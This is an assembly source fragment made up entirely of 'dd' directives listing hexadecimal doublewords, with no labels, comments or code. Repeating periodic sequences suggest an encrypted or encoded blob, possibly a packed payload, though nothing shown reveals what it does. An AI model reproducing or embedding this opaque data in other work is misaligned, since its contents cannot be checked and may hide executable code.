		dd 0A9228644h, 0E4BE5951h, 0FF749523h, 0C3BADC04h, 471452F7h
		dd 0F7CABADCh, 0DCC61C52h, 52F752BAh, 0BADC0624h, 3C1DF7E5h
		dd 0A002CCC7h, 45512CA3h, 0F7C174EDh, 0A1E34527h, 7DE7AE6Dh
		dd 0FCE404ECh, 7CF5F7FDh, 68FCE4C4h, 4574F5F7h,	0F767FCE4h
		dd 0C90664F5h, 68A165EDh, 6D9B8151h, 512F83A2h,	0A26D8581h
		dd 8151ADA3h, 0A3A2AD91h, 0B38151A3h, 61A3A2ADh, 0ED9B8151h
		dd 512783A2h, 0AA6DBF81h, 0C0512F22h, 0A3B62DADh, 0BFC051E8h
		dd 313CB12Dh, 0EDC1C56Ch, 71A4A165h, 0BCED8940h, 407126A3h
		dd 0A3BCADADh, 89407120h, 0EDA3BCADh, 6DAB4071h, 712CA3BCh
		dd 0BC6D9740h, 4071A983h, 0A3BC2DBDh, 9340716Bh, 0A5A3BC2Dh
		dd 0BCC34571h, 6167838Dh, 8DED9F43h, 436161A3h,	838DADBFh
		dd 9D436163h, 6D838DADh, 6DBD4361h, 612FA38Dh, 8D6D91C1h
		dd 4361A983h, 838D2DB3h, 8B4361EBh, 6A838D2Dh, 0EDB54361h
		dd 0DCF5C76Ch, 693CC085h, 0C46CBBF7h, 0F7F23CC0h, 0C0046CBBh
		dd 0BBF7C73Ch, 3CC04764h, 44BBF7CBh, 0D33CC0C6h, 467CBBF7h
		dd 0F75B3CC0h, 0C2C554BBh, 0E78165EDh, 0ED9D8D41h, 416163A3h
		dd 0A3AD838Dh, 8D416263h, 43A36DA3h, 838D416Ch,	0AE43A36Dh
		dd 2DB78D41h, 41EB63A3h, 0A32D938Dh, 857C347Dh,	0F764FCF8h
		dd 0E8067C34h, 40F7DF7Ah, 0BFFC864Ch, 5440F756h, 4FBFFC07h
		dd 874C40F7h, 0F7C4BFFCh, 0FC047C40h, 40F77FBFh, 0FCE4C664h
		dd 64F5F7D1h, 4CFCE446h, 0AF78FFF7h, 0E7C5FE61h, 0AC8F7165h
		dd 0A55380EDh, 0EDA38F71h, 64CA6380h, 0D047EAC7h, 40ED6F7h
		dd 0B37BEDCCh, 0DC84444Eh, 4EF7757Fh, 7FDC0564h, 7C4EF7C0h
		dd 597FDCC5h, 470C93F7h
		dd 0F7E17FDCh, 0F0855C88h, 88F76F3Fh, 0BADC8474h, 5C4BF7F5h
		dd 0E23FCC45h, 0C54C4BF7h, 0F7DA3FCCh, 0DC46544Eh, 4EF7D37Fh
		dd 7FDCC644h, 644EF763h, 0D43FF046h, 76488F7h, 0F7423FF0h
		dd 0F0C75C88h, 88F77B3Fh, 3FF0444Ch, 4C88F773h,	0EB3FF0C4h
		dd 74C88F7h, 5D067FDCh,	0A98F7165h, 667380EDh, 0EDAA8F71h
		dd 51204380h, 80EDA0C0h, 8F716543h, 0F73E47B1h,	0E8C47C8Ch
		dd 31F7E8BCh, 38696F74h, 71A4E7C5h, 80EDB28Fh, 0E3640D43h
		dd 73808680h, 918F7125h, 0E2D7C53Eh, 0ED374F71h, 61AA83B6h
		dd 6147BD0Fh, 85648CF7h, 0F7007FF0h, 0FC85688Ch, 317FC85Fh
		dd 0AD67EF58h, 412463B3h, 86ED958Ch, 846B0D1Ch,	0F734ADEDh
		dd 0E30475A3h, 23E73EADh, 0AD976475h, 75E3F7F1h, 0B5ADCD04h
		dd 0C4FF98E7h, 0E7F6ADEAh, 0CB84ECA1h, 23E7FCEDh, 0EDA52A6Dh
		dd 79E5E734h, 0B5ADF684h, 4461A0D7h, 353ADCCh, 0D0C451E2h
		dd 0A2E7FEADh, 0ADD54441h, 71A3F7FEh, 0BCADD3C4h, 47523C7h
		dd 21F87EF5h, 0D7C4685Ah, 0DBC7BCADh, 772AF5C0h, 0EF9AD7EBh
		dd 39ADC084h, 0B5D058F7h, 0D18ED39h, 0C0842B65h, 0E3D0E7ADh
		dd 0EDBC5561h, 7123CEA8h, 76ADC804h, 4F858F7h, 0C73FF1E5h
		dd 0B16BB565h, 23D7FEC1h, 0D1B87549h, 59E601DBh, 69EDD684h
		dd 45DADAE7h, 319336D0h, 0E4046561h, 0A3E7FCADh, 0ADF1046Dh
		dd 9865E1BDh, 0FFF1A3EFh, 46523E7h, 0F7F9ADC4h,	112A6563h
		dd 58E7A5ADh, 0ADCAC454h, 45E3F73Dh, 7EADACF5h,	4459A3C7h
		dd 0C72D3EC0h, 987771E5h, 0EFC7BF36h, 0ADDF4480h, 0A4A4D7BCh
		dd 6A798417h, 4480E1C0h, 0D77EADCAh, 0F6C5E876h, 0A3F0E7ADh
		dd 0EDE50465h, 0BF62D79Ah, 6ADB5B5h, 0C56DAF51h, 1DAADF7h
		dd 0C60404A3h, 0E9D096ADh, 0EDCCC527h, 0AC64D28Eh, 3DB1C104h
		dd 447163D7h, 0E29DADC1h, 0CB446163h, 6DF73CADh, 41FE868Ch
		dd 4563E7F0h, 2AD8195h,	0C761E5E8h, 0D7F4EDE5h,	9DB50826h
		dd 6BF4D561h, 0AD73B749h, 75E21112h, 9C3184D6h,	0C56DE421h
		dd 0E0A3ADEDh, 852AACEDh, 6C911E71h, 0ADD0C4ABh, 9064E779h
		dd 79ADB5F5h, 758CEFE7h, 0D71276B5h, 8E3717F5h,	23D735ADh
		dd 0C1C50471h, 8C68D7CBh, 0B698B1D1h, 4451A3F7h, 0D7BBF1E5h
		dd 7311D0B3h, 0B0F139F0h, 0EDB7309Ch, 9AA49EAAh, 3AD98EFh
		dd 445921FCh, 0F025ADC1h, 0CCC47DA3h, 21C0E7ADh, 0ADC84461h
		dd 589BF7BCh, 0E760F804h, 365161E0h, 8C4E3694h,	0F3C569ADh
		dd 0E2C7BFADh, 71872475h, 0AC6492F0h, 32D6DF4h,	441E0DCh
		dd 0B07BB5D6h, 0A57390F3h, 0E5C725EDh, 0B1C1C479h, 98EFC77Dh
		dd 64AD8E97h, 52886C12h, 0F7679067h, 0CB84327Bh, 0DDC19ADh
		dd 20FCC6E0h, 41A1A07Bh, 0FAB9A4F2h, 4E09BB2h, 0D7BD49FEh
		dd 0EAC4F0E2h, 0DD0E5B0h, 0D8F0C7E8h, 0E49BBC0Ch, 0F041FE47h
		dd 0B087EDBCh, 0D765727Ah, 8CD1882Ch, 0E2C77DADh, 0C3C34461h
		dd 656EF7E5h, 9A31C4C5h, 44BDB021h, 0E820EDE5h,	0A14A32B0h
		dd 3EFE3D76h, 9B9CAAB2h, 49E35875h, 314042B7h, 0C524AEF7h
		dd 0F097EDFEh, 0CA84A64Fh, 2BD7BFADh, 0EDB5EF9Bh, 0B4615C88h
		dd 7CADEA44h, 0EF9BBFD7h, 0D7256D81h, 831741A0h, 0AEF7E548h
		dd 13755051h, 1F89D760h, 0CAD3BB5h, 475E174h, 70BD70ECh
		dd 0A3B549A2h, 33F71643h, 77EA7508h, 0FF5D711h,	0CAD9530h
		dd 86709BB4h, 0B9DE2FAh, 0C4B24169h, 0E2D7B510h, 8467379h
		dd 6DE5C7B8h, 0BBAD67D5h, 84B464D7h, 0F730ADCAh, 0A6647563h
		dd 86D0DAADh, 33F287A4h, 9C0F19DAh, 36F1AD36h, 444DE3C7h
		dd 0D7B181E4h, 0AEB58040h, 0E9E4CBF1h, 0B38EE2A9h, 0A56EEC1Eh
		dd 0BBF4E2F6h, 0B588E54Ah, 0C7E5F89Ch, 0AD5051E9h, 1E50E9F1h
		dd 0EDA7D2B6h, 55E2E736h, 4A0B1F5h, 0D299B9D7h,	41063104h
		dd 0E7F279EDh, 0E11C5888h, 0A0F4F041h, 7561B0B3h, 8EEDE544h
		dd 30AE88D7h, 0D7E590DFh, 2F1C4121h, 61039CC9h,	0F3693F71h
		dd 4F9E2DAh, 0C114136h,	87BFC9B2h, 8BE3EDE7h, 97A098E2h
		dd 249167BDh, 8C63F71h,	69E5D772h, 0BEAD9779h, 3C900ED7h
		dd 0D73583F3h, 9C64D875h, 6C6875ADh, 0B4CA6079h, 7162E036h
		dd 6BB48120h, 0AA949399h, 0E02AAD8Dh, 0B66059E2h, 0E2A186ADh
		dd 0ADCD0469h, 0F0758091h, 8563C244h, 6169ACAFh, 814A9A8Fh
		dd 0B9E3B510h, 0EF7233ADh, 0F4F1C43Ch, 5D6191C4h, 0B4ADAB6Ah
		dd 346D21E7h, 0D7E52DC6h, 87A0E030h, 2391B134h,	0B4E00479h
		dd 41E5F78Eh, 60ADD6C4h, 87EC7549h, 0F731EDE7h,	0C704F839h
		dd 35F738E7h, 742DADFFh, 48B1B109h, 0A0F7CE05h,	2165A3A1h
		dd 0D7BDF4B8h, 81C0B02Ah, 4475A12Dh, 6D7C3144h,	2F7DA2A0h
		dd 37AD2F4Dh, 37F4F463h, 0F77DAD95h, 0C104AC00h, 36F7F4ADh
		dd 0F4EF44E0h, 4DE5F758h, 0EDA75ABAh, 7C49E9B1h, 0F7F8F280h
		dd 0C52C5962h, 35F1E5F4h, 57EDEF67h, 3833F763h,	0CC31FB44h
		dd 0AD9CD2Ch, 0B1AAAD88h, 0EEC46CB1h, 0F753A53h, 0B7CE4760h
		dd 0B4EC6197h, 0F131DE04h, 0C6C87545h, 0C0B67AC4h, 0B060E4BBh
		dd 268300DFh, 87F6EC49h, 0B4B38D85h, 0ABAD9FC0h, 84FAC175h
		dd 0D720F4EFh, 0A2216BF8h, 0B391A337h, 0ED258DB0h, 75E5C74Fh
		dd 7EB3C684h, 4455E2D7h, 49B142D8h, 0E286DC75h,	0A715A1CEh
		dd 0ADD7EE71h, 0CDC06960h, 3CEDA0E1h, 0D1FC8BA1h, 0A167A735h
		dd 5A34492Ah, 0E250E9B7h, 0ED1F7349h, 0C9C0BE82h, 39DCE8C5h
		dd 8BFCF6D7h, 0F759F4AFh, 0DC042BE8h, 0E3D77EADh, 0ADC0C449h
		dd 4DE0D7BBh, 0E540BDEFh, 22D8B3D7h, 45F1AD8Eh,	0B5B0D475h
		dd 23D7759Fh, 6DAB4C79h, 7DA3433Fh, 488B28ADh, 6CE4B714h
		dd 0F7E4B4E0h, 0D084639Ch, 0D3916CADh, 27E085F9h, 7CDE7396h
		dd 39ED656Ch, 95E946F7h, 9123B6BAh, 7070C4FDh, 0C5D731ADh
		dd 2DF1EDC4h, 7C89C7A5h, 0EE3E07B1h, 0C04C89CCh, 0B1A5ADB3h
		dd 0A05665A2h, 0A2D718BCh, 0B48635B7h, 8D2DC7BBh, 0E7819248h
		dd 6C7CDB0Dh, 0CC382D74h, 917F276h, 0CCEC382Dh,	2D3D17F3h
		dd 0DCB7D438h, 9DB460D7h, 56812FF7h, 0DE8A2D2Eh, 0A54AEFCBh
		dd 0A1E7B5EDh, 0ADE4847Dh, 4561F7F1h, 3EDF5EDh,	0C4C27683h
		dd 6147B6F8h, 8C48C0DBh, 31B303ADh, 7AB4E3D4h, 83CEA1A5h
		dd 6C7CBEECh, 0E18D76A0h, 0E7BC34A5h, 0E9C45A45h, 0E1F7B4ADh
		dd 0ADF18471h, 61A445E7h, 0E50C58D3h, 5C496EC7h, 8167567Fh
		dd 0F0E151A1h, 341943FCh, 6492B060h, 41AE9ABAh,	57776F92h
		dd 717DE2A2h, 0F73EAD83h, 0E885E4B1h, 23F73ECCh, 0B4B4AE4Dh
		dd 692340FDh, 942DB243h, 0DD49A261h, 5321AD92h,	637054C9h
		dd 0ED985A37h, 0CD87A79h, 0AD7BF785h, 68ED2572h, 6D65E5C7h
		dd 2142ADA7h, 0A56CDAB7h, 73D7E2EDh, 73405F1Bh,	7D23A104h
		dd 0EFD3A5FFh, 0C4D771F7h, 505776D4h, 0AF21E8F4h, 0C7D7FCF4h
		dd 0AD430293h, 0A16D5C2Dh, 66C386A2h, 0C4B6C0A3h, 0F73534D2h
		dd 0A09D4D21h, 0B130BAFAh, 0A3C0C470h, 5C165CBEh, 0B6EDE644h
		dd 0A0D1B0B5h, 0D77CF4EFh, 0DC84F5F8h, 0E56181ADh, 50CE0741h
		dd 6561E7FCh, 0A17F6980h, 0E9443A41h, 0B179AD93h, 4E74F430h
		dd 0A032E693h, 2361E151h, 0B88864D6h, 14639AB7h, 291A0954h
		dd 6493ADB2h, 0E5F9AD49h, 71F7ECEDh, 74393FFFh,	44B23176h
		dd 8220CCC7h, 47E875CEh, 0CE82EDE7h, 0DD04EC1Bh, 77539370h
		dd 0BC465918h, 927FD74Bh, 0B4434C7Ch, 78612EB3h, 232A92CCh
		dd 77C151A5h, 0E5A208F0h, 0C4E88769h, 51A1F736h, 6772ECC4h
		dd 0E041A691h, 3BF6356h
		dd 0B5AD612Bh, 32B1D671h, 0ADD0C4EFh, 69A3C77Ch, 947CB260h
		dd 4037FD7h, 0D7BE3FEFh, 0E2052B5Dh, 1C4154D3h,	0ED65BDECh
		dd 9685D7E9h, 13B581A3h, 8441A11Eh, 0E7D96DFEh,	0ED047DE5h
		dd 61C72EADh, 0ADCFC469h, 4C5BC756h, 0C8F4A54Ah, 6E6526F7h
		dd 0C7C52DA9h, 0ECC6E4B5h, 22D7F9FCh, 6D80E17Dh, 612EB3A1h
		dd 0A12DB681h, 81616B93h, 93A7EDA6h, 82C14164h,	26B3A7EDh
		dd 0ADB0C141h, 416D83A7h, 0A76D87C1h, 0E1E7F5A3h, 0E794ED4Bh
		dd 0ECC4D8BFh, 0E99164EDh, 0FCC7C549h, 0CCB5C7B6h, 6AEDDC85h
		dd 44D4F5A5h, 9164EDE9h, 0DB854DAEh, 27B1E5E4h,	0FCE5A041h
		dd 7636D767h, 0C536C9C5h, 86E7F5E7h, 0A1776DDDh, 0DB8771E6h
		dd 26D76ED4h, 0ADF3C461h, 6DE3D732h, 0D6ADBAF2h, 0C4244671h
		dd 0ADE5ADE5h, 4EA3D5BCh, 23D732FEh, 0ADFA447Dh, 0E4803333h
		dd 0FCB5D6C4h, 0A3F77FC7h, 0C77D44F9h, 0DE84D81Ch, 79A2DC34h
		dd 5CFC63D1h, 0D8CC710Dh, 0CBF7F684h, 0E1667BB0h, 0C758AD4Ah
		dd 0E5C5EC71h, 0A5F7EDFCh, 0EDFC8769h, 0E536952Ah, 0EB2D69E1h
		dd 4F0B5C7h, 0F2716DFDh, 0C0056486h, 25B1772Dh,	0C7DB4449h
		dd 7D218177h, 0BADE546h, 219834E7h, 55B6ED24h, 0E8ECD136h
		dd 1B52AA7h, 0A7E8ECD1h, 0D901B52Ah, 0B6A7E821h, 21D90175h
		dd 75B6A7E8h, 0DA21D901h, 36952AE4h, 0E4DA21D9h, 0D936952Ah
		dd 2AE4DA21h, 21D93695h, 952AE4DAh, 0E521D936h,	0E5D7F9FCh
		dd 0EDE5C469h, 7D2AD7D7h, 6087B1E1h, 28D35BC7h,	0F725FC65h
		dd 0A5E34612h, 0F5E7E3F4h, 0FCE5C570h, 7CF5E7A6h, 0A7FCE5C5h
		dd 0C578F5E7h, 0E7E6FCE5h, 0CCC544F5h, 1F2DCC5Eh, 464DE3E7h
		dd 0C11FF727h, 0FA463908h, 851251Dh, 3DC28729h,	0B7C165E4h
		dd 123D99EDh, 5EFC4562h, 4212F7A8h, 794EBE95h, 9BC21201h
		dd 0F7710E8Ah, 0FC846A5Ch, 5252855Eh, 1EE08443h, 535CD239h
		dd 0BEC7F044h, 8554F52Dh, 522BFCE5h, 596B67DFh,	0FDAD0786h
		dd 9CD8C7E3h, 6ADFF745h, 0C49EDCC7h, 87625CF7h,	0E7AFFCE5h
		dd 0FC875CF5h, 12F78D5Eh, 1EE04776h, 7A5CF70Ch,	561EC807h
		dd 867A12F7h, 0E7E31EE0h, 4D6B545Fh, 0B5C7C3ADh, 6DFF44CCh
		dd 0A764A164h, 2AE4DAACh, 21D93695h, 55F087F1h,	0DF84F536h
		dd 36D4DFEDh, 6D7D76E6h, 0A66BE7ABh, 0DFEDD606h, 21D980E8h
		dd 0A52AE4DAh, 0DA76C7F5h, 36952AE4h, 0E4DA21D9h, 0D936952Ah
		dd 2AE4DA21h, 21D93695h, 952AE4DAh, 0CD21D936h,	36952A21h
		dd 0E4DA21D9h, 0D936952Ah, 2AE4DA21h, 21D93695h, 952AE4DAh
		dd 0E521D936h, 2AD71AC4h, 0ED843C55h, 492693B0h, 2AF4E585h
		dd 2159A4D7h, 0E7846D25h, 64BFA66Bh, 0F565F0EDh, 0E4DAECD7h
		dd 0D9802BBAh, 0CBE4DA21h, 21DB8464h, 952AE4DAh, 0DA21D936h
		dd 36952AE4h, 0E4DA21D9h, 0D936952Ah, 2AE4DA21h, 21D93695h
		dd 952AE4DAh, 0DA21D936h, 36952AE4h, 0E4DA21D9h, 0D936952Ah
		dd 2AE4DA21h, 21D93695h, 952AE4DAh, 0E521D936h,	0F5A5E5E4h
		dd 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h, 0E1E5F5A5h, 0A5E5E4E5h
		dd 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h
		dd 0E1E5F5A5h, 0A5E5E4E5h, 0E5E1E5F5h, 0E923C3C4h, 0C465EA45h
		dd 64C4F7A2h, 40C465ABh, 0C1E504F7h, 63A16DA8h,	6BE1E7DEh
		dd 0F565A86Dh, 0E7D0C758h, 71ECA3E5h, 2851F02Dh, 876DE565h
		dd 93E5E7D0h, 0E02D71ECh, 622DCF5Eh, 0E0310B51h, 69E22DC5h
		dd 0EBB6D347h, 4F71A16Dh, 0F7E34681h, 65AF748Fh, 8FC74D6Dh
		dd 0AD716AC4h, 0F7DA638Ah, 0D87FD845h, 0F51E52Dh, 0A3E5EDB6h
		dd 0C34761A8h, 2C2DC077h, 0EDBC8E51h, 51A2A3E5h, 0E5EDBF8Eh
		dd 8E5126A3h, 31067BA0h, 79B45408h, 8FC7CD2Dh, 0EDA58DD4h
		dd 6495F7EBh, 0A4ED41AFh, 0C1656233h, 3A4EDB1h,	602E4162h
		dd 28F7DAFEh, 59A08B3h,	5D2CD7D8h, 0C5BB9949h, 0E1E78CE7h
		dd 0A5E5E4E5h, 0DDC654F5h, 107352EDh, 0C4E5E164h, 7D63D7F1h
		dd 0F986956Fh, 0E1E5D225h, 0D7D2E0D9h, 0BD6F7DAFh, 0A823832Dh
		dd 2DB58B41h, 41292383h, 832DAD8Bh, 8B41A923h, 23836D99h
		dd 898B41AEh, 0EF23836Dh, 6DB18B41h, 412D2383h,	836DA58Bh
		dd 9579A723h, 2141B1B1h, 85ABECD5h, 0A4214137h,	37A58A61h
		dd 0AC282141h, 41F79DABh, 0ABECC721h, 0F7DA7677h, 0C8064417h
		dd 5CF7FBFEh, 7EFC4454h, 545CF7FCh, 0DD7EFC84h,	8B41A02Dh
		dd 2383ADA9h, 9D8B41A1h, 0E62383EDh, 7E7CEA51h,	8325F7E3h
		dd 83EDB58Bh, 8B41A523h, 0C74C2D95h, 0D846F48Fh, 0C7E7A7F9h
		dd 0EDCB3664h, 14773DBEh, 70ADFDC4h, 0B4BDA0CCh, 0D870A1F3h
		dd 0D9045922h, 77ECFAB1h, 0E4E57695h, 87E0E4C6h, 0E4F5E4F4h
		dd 477746E7h, 0C7FD7FEDh, 0E70441EDh, 0F5E7AD6Dh, 2DFA477Eh
		dd 71EFB9E5h, 85D4E547h, 46652CD7h, 0E7E5C6CDh,	0E5045DE1h
		dd 6FEE136Dh, 2DA4CF45h, 6968C70Dh, 0E536F147h,	96EDF5A5h
		dd 0A9E52D1Bh, 10D141E1h, 0F5E49F6Dh, 0E0E4E1E5h, 41E1BAA7h
		dd 0C76D13D1h, 476D2953h, 0E74D2DC1h, 0C746F0CAh, 0EFC7DF6Dh
		dd 0E4E58449h, 99B595E5h, 0A76D8496h, 8D65E0BEh, 0C753ADB4h
		dd 0F1864D20h, 68C73236h, 2DFF444Dh, 0E5F5E769h, 1131F2E1h
		dd 865D68E7h, 0E79B2DC5h, 0DB05E0F5h, 0ACA8E7ADh, 0D4E5457Dh
		dd 0C4F521DDh, 0E7FED0C5h, 875D6A2Dh, 0F7DA17CBh, 652E043Eh
		dd 2413A8EDh, 6DADC165h, 0E688C7CFh, 0D538F0C7h, 927162ECh
		dd 7D8DEDABh, 0CCC510B8h, 259290C6h, 2DA5C165h,	0E7C9A28Ah
		dd 0E138F044h, 8445E563h, 0F76238F0h, 0B592F3C9h, 0B8F7F107h
		dd 0AD693624h, 0E45BA290h, 8A2DADE1h, 86E784A2h, 0F7A078D8h
		dd 0A592F34Fh, 3EF7D3C6h, 0ED596E04h, 0F749A290h, 0DD38F005h
		dd 9271276Dh, 7D97EDB3h, 79FF00B8h, 0E78290EDh,	38702F61h
		dd 0F354F72Dh, 0C36B592h, 4530B872h, 0B29040D4h, 0FC06977Fh
		dd 0EAA9E57Eh, 0D4E50459h, 0C75621DAh, 22D8A29h, 0C1E7C96Ah
		dd 64CB6D65h, 0E3C475E4h, 0E6624AA1h, 7F732E41h, 712A11DBh
		dd 0E0FCE505h, 0C165E16Dh, 53C72D9Ah, 0DDC7A30Eh, 466DDDFEh
		dd 437A36E7h, 7DE2E7C5h, 0EB3515AFh, 0A46B1321h, 0A5E5E4A5h
		dd 0E5E1E5F5h, 0F5A5E5E4h, 0AD2168C9h, 0E5F52463h, 0E5E4E5E1h
		dd 0E1E5F5A5h, 0F7E3D4E5h, 0BDAB6D26h, 562283ADh, 62C5E1E7h
		dd 0A55FA5E5h, 0E5ED5EBDh, 0CF516083h, 0BCA06D32h, 96C1E748h
		dd 0E4B3E52Dh, 0ED958F45h, 452143C3h, 0C3AD888Fh, 58DD963h
		dd 0F7B3FCE5h, 0C00478F5h, 0F53108D7h, 0FCE48668h, 87CDF759h
		dd 0A3ED8A8Fh, 814121B3h, 0C4F7AD89h, 4561FDB7h, 4BE7656Dh
		dd 2D2D61BFh, 0E176D7A4h, 0E72D9FE1h, 0B6D976D7h, 0D7E66DB9h
		dd 0A668D976h, 76D7262Dh, 2D91EEC9h, 0E576D761h, 0C36DF3C7h
		dd 2149A4C7h, 0C7CAEDC5h, 0DE85412Eh, 2ED7E4D4h, 0EDFEC641h
		dd 49A6E746h, 9E6D4421h, 0C65D29E7h, 0D755EDFEh, 0E5C45DE8h
		dd 0EAE7EDADh, 6DD0875Dh, 4567D7F9h, 946DC847h,	44412CF7h
		dd 0F7D1ADE5h, 0C0065120h, 64C79CEDh, 0ADEAC75Dh, 696BD7A3h
		dd 0B9ADE5C7h, 8679ACC7h, 0C7356DF0h, 0E8C57125h, 2FD7AF6Dh
		dd 0ADE5875Dh, 652ED79Bh, 9EADE147h, 856DEDF7h,	0F1856DEAh
		dd 0DAC4656Eh, 0A8F7EA6Dh, 2DEA477Dh, 5961F71Ah, 0CCADDD85h
		dd 4459E1A1h, 0E7DD2DE3h, 0E546412Dh, 0A1D7976Dh, 6DF6074Dh
		dd 55E1F7CFh, 3F6DE007h, 4579A0F7h, 0D786EDDCh,	0C50465AAh
		dd 0E1C7FA2Dh, 2DF80755h, 4128C746h, 1B6DF806h,	45D6BD7h
		dd 0D7B16DCFh, 0C34761E1h
		dd 0EBD7782Dh, 2DD7C655h, 7527D7AFh, 6C6DE4C7h,	4545A1E7h
		dd 0C720EDF5h, 0CB06456Fh, 0EBD7E16Dh, 2DE1C671h, 49A1E75Bh
		dd 0D06DC246h, 679EAD7h, 0C79D2DCEh, 0F0044D61h, 0A1F7166Dh
		dd 2DE94471h, 5DECF714h, 4E6DC3C5h, 8541EFE7h, 0C70D2DC6h
		dd 0C0C551A1h, 25E720ADh, 6DE40471h, 0C0A2F744h, 0B6ADEDC6h
		dd 0C46D60E7h, 0D70C2DC1h, 0DE0541ECh, 6EE7A8EDh, 2DC8076Dh
		dd 7921F731h, 0B22DC047h, 0C67126F7h, 0D72BADF8h, 0F7875D6Dh
		dd 2AD7736Dh, 6DC38451h, 65EFF7D9h, 0F02DE545h,	0C755AFF7h
		dd 0F7BDEDD2h, 0EE0651E8h, 6DD7736Dh, 0EDC08645h, 416DF7B2h
		dd 3C2DFE06h, 87716FC7h, 0D7192DDDh, 0C70759A7h, 20F7D76Dh
		dd 6DE58651h, 4121E77Eh, 6DFEC6h, 0C74DE7E7h, 0E771EDE7h
		dd 0C0C675E3h, 0B7C7B8EDh, 35E9C6D3h, 6929E7D6h, 1B7FB6AFh
		dd 46126D7h, 0D767EDD8h, 0D54769A8h, 6A6D82ADh,	0ADFF0559h
		dd 5966D7FCh, 86ADEA86h, 445DACD7h, 0F705EDF7h,	0E60559AAh
		dd 27E7112Dh, 0EDFC4471h, 7960E75Dh, 916DD285h,	559EAF7h
		dd 0D7262DF5h, 0E2C775E7h, 0A1D723ADh, 2DE04755h, 592BC70Ch
		dd 486D8325h, 445563F7h, 0F7A46DCAh, 0E305792Eh, 26D71F6Dh
		dd 0EDD80569h, 4DE1C7CAh, 902DC004h, 759ACE7h, 0D71C2DF3h
		dd 0D8C66D26h, 29C79A2Dh, 6DE14461h, 55A2D7A1h,	0DC6DCEC6h
		dd 455926D7h, 0F733ADE9h, 0E1C451EBh, 0ACE74A2Dh, 2DEC46FCh
		dd 75ECC72Ah, 2BADF6C6h, 0C475A2F7h, 0C7E02DE8h, 0CA874D2Eh
		dd 28C72A6Dh, 6DDF4479h, 7166F7C0h, 626DC8C4h, 0C659EEF7h
		dd 0E72A6DF1h, 0E34569A7h, 2EE75D2Dh, 0EDDE074Dh, 49E3F7A9h
		dd 2AADDFC7h, 8471E3F7h, 0C795ADFCh, 0F6076122h, 0E4C7FAADh
		dd 0ADFA0749h, 5DA8D72Ah, 86EDCA46h, 75DA5C7h, 0F7846DF7h
		dd 0E10649A4h, 261121ADh, 2DCC4771h, 79AFF7ABh,	3A2DCF45h
		dd 454D6FE7h, 0E7BAEDDAh, 0C147612Fh, 0A3E7CA2Dh, 0ADE30455h
		dd 7128F7D1h, 3DEDDB84h, 0C57D62D7h, 0E72D2DE9h, 0E60479A0h
		dd 0ECF71A6Dh, 0EDD8C761h, 4D6AC781h, 7BEDFC05h, 4571E3D7h
		dd 0E7A9ADE6h, 0D94755E9h, 6DF7ADEDh, 0EDDD8661h, 79A1D745h
		dd 0E56DDD87h, 86792AF7h, 0E7D2EDDEh, 0ED84456Dh, 0EEF723EDh
		dd 2DC64645h, 69AFC744h, 54EDDEC5h, 0C471ADE7h,	0C724ADE7h
		dd 0D08741AEh, 68D728ADh, 0EDDF455Dh, 55E2F729h, 2D2DF785h
		dd 56D68D7h, 0E7B72DCBh, 0DC844DECh, 0ADD74CEDh, 2DE5075Dh
		dd 7168C730h, 4C6DE747h, 771EFC7h, 0E75DEDD7h, 0F4076D63h
		dd 0E0C70CEDh, 0ADE18759h, 65AED7B3h, 0ACEDC985h, 467561F7h
		dd 0E768EDC8h, 0F6C459A6h, 29C74EADh, 0EDC04449h, 7560F706h
		dd 0D56DC1C5h, 0C66D28C7h, 0E71BADD8h, 0FBC67D6Bh, 0ABD742EDh
		dd 0ADFFC745h, 55ECF730h, 0F16DDA05h, 456DEDD7h, 0D776EDFDh
		dd 0C7447161h, 0EDD79AADh, 6DCAC759h, 51ACE764h, 49EDF404h
		dd 87592801h, 0E7512DEBh, 0F8C57569h, 68E74C2Dh, 0EDD5C54Dh
		dd 9E8CC780h, 0B5EDDA45h, 4471A0C7h, 0F73DADDDh, 0D10465A3h
		dd 23D7BFADh, 0ADE5445Dh, 0F51BA12Bh, 3EAD492Ah, 4441A3D7h
		dd 0F732ADC6h, 0D7046DA3h, 0E2C73EADh, 0B5D6C465h, 3CE5F7FCh
		dd 0A626885Ah, 445DA3FCh, 0E7F8ADC2h, 0F8B57163h, 0E4E75AD1h
		dd 62852149h, 79ADF749h, 0C12DC944h, 8571A2E7h,	0F7776DEEh
		dd 0C3C77D6Ch, 0E0D71AEDh, 0EDCF866Dh, 7DE4C73Fh, 876DEE04h
		dd 857969F7h, 0F7D8ADD7h, 0F5047D25h, 0A411DB6Dh, 2DD3844Dh
		dd 4963D740h, 0F42DEE04h, 4555E4D7h, 0F7D66DC0h, 0DB0459ECh
		dd 25F7982Dh, 0ADF70541h, 79A6F739h, 0C4EDEE85h, 659A9D7h
		dd 0D7E06DDEh, 0F1865DE9h, 0A3F71AADh, 0ADF78465h, 71A2D788h
		dd 0C06DC185h, 4569EFE7h, 0E718EDE0h, 0CA447923h, 63C7A3ADh
		dd 0ADF10449h, 45ECF7D7h, 0C66DDE05h, 4555AAF7h, 0E7A6EDC2h
		dd 0EA0671ABh, 0A9C70AADh, 0ADCAC77Dh, 7925C7EEh, 3D2DC084h
		dd 874927C7h, 0F72C6DEBh, 0F9476128h, 64D76B6Dh, 0EDFE0779h
		dd 49A0C7BBh, 2E2DC645h, 475A6F7h, 0F7D22DD9h, 0E9477D2Dh
		dd 0EEC7886Dh, 6DEB4675h, 4D2CF739h, 0CEEDF684h, 477D2ED7h
		dd 0E736ADD2h, 0FFC541AFh, 0E7F717EDh, 6DD6445Dh, 41E6D74Eh
		dd 196DCD85h, 0C74DAFF7h, 0D79F2DC7h, 0C1477528h, 0E8C7FE2Dh
		dd 0EDD0C545h, 5D64D718h, 316DF887h, 454523D7h,	0D7B5EDE8h
		dd 0C3057DE6h, 23E711EDh, 2DC0C451h, 0E021F793h, 0C1EDF745h
		dd 66DEFD7h, 50242DFAh,	0F90649AAh, 0E1F7912Dh,	0ADD38545h
		dd 71AFE7ABh, 52ADD685h, 0C449EDC7h, 0C7E82DCDh, 0F846516Eh
		dd 0E2C70BADh, 0EDC70565h, 4968D73Fh, 7A6DCBC6h, 56166F7h
		dd 0F7BCEDF4h, 0CD867124h, 0ADF7E8EDh, 6DC28769h, 79A1F7D6h
		dd 222DC405h, 86656CC7h, 0F780ADCAh, 0DA0779EEh, 21F75EADh
		dd 0EDCB8541h, 7921E747h, 2AEDEF45h, 0C7A855E7h, 0D7F92DF1h
